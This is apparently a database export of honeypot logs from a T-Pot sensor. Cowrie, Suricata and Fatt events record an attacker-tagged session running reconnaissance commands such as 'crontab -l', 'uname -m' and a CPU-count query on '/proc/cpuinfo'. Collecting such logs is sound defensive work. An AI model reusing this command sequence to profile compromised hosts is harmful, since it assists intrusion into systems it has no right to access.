34312	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:00:20.064194+03	2021-09-20 15:15:01.735701+03	{"_id": "IAYUA3wBvYTbRNuEF1XY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35946, "timestamp": "2021-09-20T12:00:20.064194", "@timestamp": "2021-09-20T12:00:20.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34313	78.83.66.198	109.199.241.180	Suricata	2021-09-20 15:00:07.010321+03	2021-09-20 15:15:01.736702+03	{"_id": "4wYTA3wBvYTbRNuE5FQD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "78.83.66.198", "asn": 29580, "as_org": "Mobiltel Ead", "latitude": 42.683, "location": {"lat": 42.683, "lon": 23.3175}, "timezone": "Europe/Sofia", "city_name": "Sofia", "longitude": 23.3175, "postal_code": "1000", "region_code": "22", "region_name": "Sofia-Capital", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "TCP", "src_ip": "78.83.66.198", "dest_ip": "192.168.20.116", "flow_id": 1423223174552808, "@version": "1", "fileinfo": {"md5": "3c3f2943d4337318cf737f45d5b564cd", "gaps": false, "size": 6, "magic": "ASCII text, with no line terminators", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/API/post"}, "in_iface": "enp5s0", "src_port": 8000, "app_proto": "http", "dest_port": 57682, "timestamp": "2021-09-20T12:00:07.010321Z", "@timestamp": "2021-09-20T12:00:07.010Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	BG
34314	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:00:09.500551+03	2021-09-20 15:15:01.738701+03	{"_id": "7QYTA3wBvYTbRNuE7lSV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f7461e09f685", "@version": "1", "duration": 2.5039052963256836, "timestamp": "2021-09-20T12:00:09.500551Z", "@timestamp": "2021-09-20T12:00:09.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	BR
34315	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:10.022476+03	2021-09-20 15:15:01.739701+03	{"_id": "7AYTA3wBvYTbRNuE7lSV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:10.022476Z", "@timestamp": "2021-09-20T12:00:10.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34316	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:10.565494+03	2021-09-20 15:15:01.740701+03	{"_id": "7gYTA3wBvYTbRNuE8lR8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "81.70.175.230", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5436515808105469, "duplicate": true, "timestamp": "2021-09-20T12:00:10.565494Z", "@timestamp": "2021-09-20T12:00:10.565Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34317	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:11.44871+03	2021-09-20 15:15:01.741701+03	{"_id": "8AYTA3wBvYTbRNuE9lRl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:11.448710Z", "@timestamp": "2021-09-20T12:00:11.448Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34318	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:11.449262+03	2021-09-20 15:15:01.742701+03	{"_id": "8QYTA3wBvYTbRNuE9lRl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:11.449262Z", "@timestamp": "2021-09-20T12:00:11.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34319	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:11.991813+03	2021-09-20 15:15:01.743701+03	{"_id": "8gYTA3wBvYTbRNuE9lRl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "81.70.175.230", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5431859493255615, "duplicate": true, "timestamp": "2021-09-20T12:00:11.991813Z", "@timestamp": "2021-09-20T12:00:11.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34320	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:12.918521+03	2021-09-20 15:15:01.745713+03	{"_id": "_gYTA3wBvYTbRNuE-lRO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.70.175.230", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5447800159454346, "duplicate": true, "timestamp": "2021-09-20T12:00:12.918521Z", "@timestamp": "2021-09-20T12:00:12.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34321	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:12.373843+03	2021-09-20 15:15:01.746708+03	{"_id": "AQYTA3wBvYTbRNuE-lVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:12.373843Z", "@timestamp": "2021-09-20T12:00:12.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34322	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:13.851069+03	2021-09-20 15:15:01.746708+03	{"_id": "BQYTA3wBvYTbRNuE_lU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.70.175.230", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5449619293212891, "duplicate": true, "timestamp": "2021-09-20T12:00:13.851069Z", "@timestamp": "2021-09-20T12:00:13.851Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34323	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:13.306735+03	2021-09-20 15:15:01.751144+03	{"_id": "BAYTA3wBvYTbRNuE_lU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:13.306735Z", "@timestamp": "2021-09-20T12:00:13.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34324	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:14.267195+03	2021-09-20 15:15:01.752145+03	{"_id": "BwYTA3wBvYTbRNuE_lU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:14.267195Z", "@timestamp": "2021-09-20T12:00:14.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34325	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:15.200597+03	2021-09-20 15:15:01.753146+03	{"_id": "CQYUA3wBvYTbRNuEAlUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:15.200597Z", "@timestamp": "2021-09-20T12:00:15.200Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34326	209.141.43.151	109.199.241.180	Cowrie	2021-09-20 15:00:12.777715+03	2021-09-20 15:15:01.754144+03	{"_id": "AAYTA3wBvYTbRNuE-lVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "209.141.43.151", "asn": 53667, "as_org": "FranTech Solutions", "dma_code": 839, "latitude": 36.1685, "location": {"lat": 36.1685, "lon": -115.1164}, "timezone": "America/Los_Angeles", "city_name": "Las Vegas", "longitude": -115.1164, "postal_code": "89101", "region_code": "NV", "region_name": "Nevada", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "209.141.43.151", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 209.141.43.151:34428 (192.168.176.2:23) [session: 4781b97f4a34]", "session": "4781b97f4a34", "@version": "1", "protocol": "telnet", "src_port": 34428, "dest_port": 23, "timestamp": "2021-09-20T12:00:12.777715Z", "@timestamp": "2021-09-20T12:00:12.777Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	\N	US
34327	209.141.43.151	109.199.241.180	Cowrie	2021-09-20 15:00:12.954988+03	2021-09-20 15:15:01.755145+03	{"_id": "_wYTA3wBvYTbRNuE-lRO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "209.141.43.151", "asn": 53667, "as_org": "FranTech Solutions", "dma_code": 839, "latitude": 36.1685, "location": {"lat": 36.1685, "lon": -115.1164}, "timezone": "America/Los_Angeles", "city_name": "Las Vegas", "longitude": -115.1164, "postal_code": "89101", "region_code": "NV", "region_name": "Nevada", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "209.141.43.151", "eventid": "cowrie.session.closed", "message": "Connection lost after 0 seconds", "session": "4781b97f4a34", "@version": "1", "duration": 0.17762231826782227, "timestamp": "2021-09-20T12:00:12.954988Z", "@timestamp": "2021-09-20T12:00:12.954Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	US
34328	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:12.374391+03	2021-09-20 15:15:01.756145+03	{"_id": "AgYTA3wBvYTbRNuE-lVO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:12.374391Z", "@timestamp": "2021-09-20T12:00:12.374Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34329	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:13.306191+03	2021-09-20 15:15:01.758145+03	{"_id": "AwYTA3wBvYTbRNuE_lU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:13.306191Z", "@timestamp": "2021-09-20T12:00:13.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34330	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:14.266656+03	2021-09-20 15:15:01.759145+03	{"_id": "BgYTA3wBvYTbRNuE_lU3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:14.266656Z", "@timestamp": "2021-09-20T12:00:14.266Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34331	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:14.811775+03	2021-09-20 15:15:01.761144+03	{"_id": "CgYUA3wBvYTbRNuEAlUf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "81.70.175.230", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.5452044010162354, "duplicate": true, "timestamp": "2021-09-20T12:00:14.811775Z", "@timestamp": "2021-09-20T12:00:14.811Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34332	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:16.119807+03	2021-09-20 15:15:01.762145+03	{"_id": "DQYUA3wBvYTbRNuEBlUI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:16.119807Z", "@timestamp": "2021-09-20T12:00:16.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34333	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:16.12036+03	2021-09-20 15:15:01.763144+03	{"_id": "DgYUA3wBvYTbRNuEBlUI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:16.120360Z", "@timestamp": "2021-09-20T12:00:16.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34334	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:16.888732+03	2021-09-20 15:15:01.764144+03	{"_id": "DwYUA3wBvYTbRNuECVXx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.70.175.230", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.7690088748931885, "duplicate": true, "timestamp": "2021-09-20T12:00:16.888732Z", "@timestamp": "2021-09-20T12:00:16.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
